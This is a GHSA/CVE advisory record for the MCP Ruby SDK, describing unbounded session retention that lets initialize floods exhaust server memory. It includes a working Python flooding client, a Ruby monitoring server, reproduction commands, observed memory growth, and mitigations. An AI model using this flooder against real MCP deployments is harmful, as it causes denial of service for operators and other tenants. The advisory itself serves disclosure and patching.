{"id":"CVE-2026-67430","aliases":["GHSA-52jp-gj8w-j6xh"],"title":"MCP Ruby SDK: Unbounded session retention in StreamableHTTPTransport allows memory exhaustion via initialize flood","summary":"MCP Ruby SDK: Unbounded session retention in StreamableHTTPTransport allows memory exhaustion via initialize flood","severity":"medium","cvss":5.3,"cwe":["CWE-401","CWE-770"],"vendor":"mcp","product":"mcp","ecosystem":"rubygems","affected":["mcp <= 0.22.0"],"patched":["mcp 0.23.0"],"published":"2026-07-30","updated":"2026-07-30","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-52jp-gj8w-j6xh","references":[{"url":"https://github.com/modelcontextprotocol/ruby-sdk/security/advisories/GHSA-52jp-gj8w-j6xh"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-67430"},{"url":"https://github.com/modelcontextprotocol/ruby-sdk/commit/afb968c468c178c4d3294b423fcce250621692f4"},{"url":"https://github.com/modelcontextprotocol/ruby-sdk/releases/tag/v0.23.0"},{"url":"https://github.com/advisories/GHSA-52jp-gj8w-j6xh"}],"tags":["ghsa","rubygems"],"epss":0.00308,"epssPercentile":0.23807,"ingestedAt":"2026-07-30T14:54:20.357Z","slug":"CVE-2026-67430","body":"## Overview\n\n## Summary\n\nIn its default configuration, `MCP::Server::Transports::StreamableHTTPTransport` never expires sessions. Every successful `initialize` request stores a new `ServerSession` and a session record under a fresh UUID, and the only path that removes them is an explicit client-issued HTTP `DELETE`. An unauthenticated attacker can repeatedly initialize new sessions and immediately disconnect, forcing the server to retain an unbounded number of `ServerSession` objects until memory is exhausted.\n\n## Affected component\n\n`lib/mcp/server/transports/streamable_http_transport.rb`:\n\n- Line 27, constructor: `def initialize(server, stateless: false, enable_json_response: false, session_idle_timeout: nil)` — the default for `session_idle_timeout` is `nil`.\n- Line 46: `start_reaper_thread if @session_idle_timeout` — when the timeout is `nil`, the reaper that prunes idle sessions is never started.\n- Lines 604–643 (`handle_initialization`): every successful `initialize` inserts a new session record; the only removal sites are `handle_delete` (client-controlled) and stream-error paths.\n\nThe project README acknowledges the insecure default (line 1605):\n\n> By default, sessions do not expire. To mitigate session hijacking risks, you can set a `session_idle_timeout` (in seconds).\n\nPer-session memory cost is non-trivial: each entry contains a `ServerSession` instance (with its own `Mutex`, `@in_flight` hash, capabilities hash, and server reference), a top-level hash entry under the session UUID, and per-pending-request `Queue` allocations.\n\n## Proof of concept\n\n### Server (`session_poc_server.rb`)\n\nStarts the transport in its default configuration (no `session_idle_timeout`) and reports the in-memory session count plus process RSS every two seconds.\n\n```ruby\nrequire \"bundler/setup\"\nrequire \"mcp\"\nrequire \"mcp/server/transports/streamable_http_transport\"\nrequire \"rackup\"\nrequire \"webrick\"\nrequire \"rackup/handler/webrick\"\n\nserver = MCP::Server.new(name: \"session-poc-target\", tools: [])\ntransport = MCP::Server::Transports::StreamableHTTPTransport.new(server)\n\nThread.new do\n  loop do\n    sessions = transport.instance_variable_get(:@sessions)\n    count = sessions ? sessions.size : 0\n    rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024\n    STDERR.puts(\"[mem] sessions=#{count}  RSS=#{rss_mb} MB\")\n    sleep 2\n  end\nend\n\nSTDERR.puts(\"[poc] listening on http://127.0.0.1:9295/\")\nRackup::Handler::WEBrick.run(\n  transport,\n  Host: \"127.0.0.1\", Port: 9295,\n  AccessLog: [], Logger: WEBrick::Log.new(File::NULL),\n)\n```\n\n### Client (`session_poc_client.py`)\n\n```python\nimport concurrent.futures, json, socket, time\n\nHOST, PORT = \"127.0.0.1\", 9295\nTOTAL, WORKERS = 50_000, 32\n\nINIT = json.dumps({\n    \"jsonrpc\": \"2.0\", \"id\": 1, \"method\": \"initialize\",\n    \"params\": {\"protocolVersion\": \"2025-11-25\", \"capabilities\": {},\n               \"clientInfo\": {\"name\": \"flooder\", \"version\": \"1.0\"}}\n}).encode()\n\nREQ = (\n    f\"POST / HTTP/1.1\\r\\nHost: {HOST}:{PORT}\\r\\n\"\n    f\"Content-Type: application/json\\r\\n\"\n    f\"Accept: application/json, text/event-stream\\r\\n\"\n    f\"Content-Length: {len(INIT)}\\r\\nConnection: close\\r\\n\\r\\n\"\n).encode() + INIT\n\ndef one():\n    try:\n        s = socket.create_connection((HOST, PORT), timeout=5)\n        s.sendall(REQ)\n        data = b\"\"\n        while True:\n            c = s.recv(8192)\n            if not c: break\n            data += c\n        s.close()\n        return b\"mcp-session-id\" in data.lower()\n    except OSError:\n        return False\n\nstart = time.time()\ncreated = 0\nwith concurrent.futures.ThreadPoolExecutor(max_workers=WORKERS) as ex:\n    futs = [ex.submit(one) for _ in range(TOTAL)]\n    for i, f in enumerate(concurrent.futures.as_completed(futs), 1):\n        if f.result():\n            created += 1\n        if i % 1000 == 0:\n            print(f\"[poc] dispatched {i} reqs, {created} sessions confirmed, \"\n                  f\"elapsed {time.time() - start:.1f}s\")\n\nprint(f\"[poc] done. {created}/{TOTAL} sessions confirmed in \"\n      f\"{time.time() - start:.1f}s\")\n```\n\n### Reproduction commands\n\n```sh\nbundle install\nruby session_poc_server.rb          # terminal A\npython3 session_poc_client.py       # terminal B\n```\n\n### Observed result\n\nTested on macOS, Ruby 3.2.4, against the SDK's `main` branch.\n\nServer terminal:\n\n```\n[mem] sessions=0      RSS=45  MB\n[mem] sessions=2605   RSS=56  MB\n[mem] sessions=11587  RSS=72  MB\n[mem] sessions=23119  RSS=85  MB\n[mem] sessions=34391  RSS=119 MB\n[mem] sessions=45325  RSS=128 MB\n[mem] sessions=50000  RSS=154 MB\n[mem] sessions=50000  RSS=152 MB\n[mem] sessions=50000  RSS=152 MB\n[mem] sessions=50000  RSS=152 MB     # plateau persists indefinitely\n```\n\nClient terminal:\n\n```\n[poc] dispatched 50000 reqs, 50000 sessions confirmed, elapsed 26.6s\n[poc] done. 50000/50000 sessions confirmed in 26.6s\n```\n\n50,000 unique sessions are created and retained in 26.6 seconds from a single client. The session count remains pinned at 50,000 indefinitely, confirming that no reaper exists to free the records. Scaling the attack linearly (multiple clients, larger client-capability payloads, longer runtime) drives RSS until the worker is OOM-killed.\n\n<img width=\"3544\" height=\"1674\" alt=\"image\" src=\"https://github.com/user-attachments/assets/89ac35ab-5629-4b48-83f8-e26a92b3e45c\" />\n\n## Impact\n\n- **Attacker requirements:** unauthenticated TCP reach of the MCP endpoint. No session, no credentials.\n- **Effect:** memory-exhaustion denial of service. A sustained or distributed attacker can OOM the worker; on services that recycle workers, the attacker simply repeats. On multi-tenant gateways, one tenant can starve all others.\n- **Affected deployments:** every deployment that does not opt into `session_idle_timeout`. Because the README presents this as an opt-in mitigation rather than a default, real-world deployments are likely to ship vulnerable.\n\n## Suggested mitigation\n\n1. Change the default of `session_idle_timeout` to a finite value (e.g. 30 minutes) and document the change as a security default.\n2. Add a `max_sessions:` constructor option; reject `initialize` with HTTP 503 once the cap is reached.\n3. Track the time of the `initialize` POST separately from later request activity, and evict sessions whose GET SSE stream is never attached within N seconds.\n\n## Affected packages\n\n- `mcp <= 0.22.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `mcp 0.23.0`","depth":"sunlit","depthScore":29,"depthScoreParts":{"impact":29.2,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}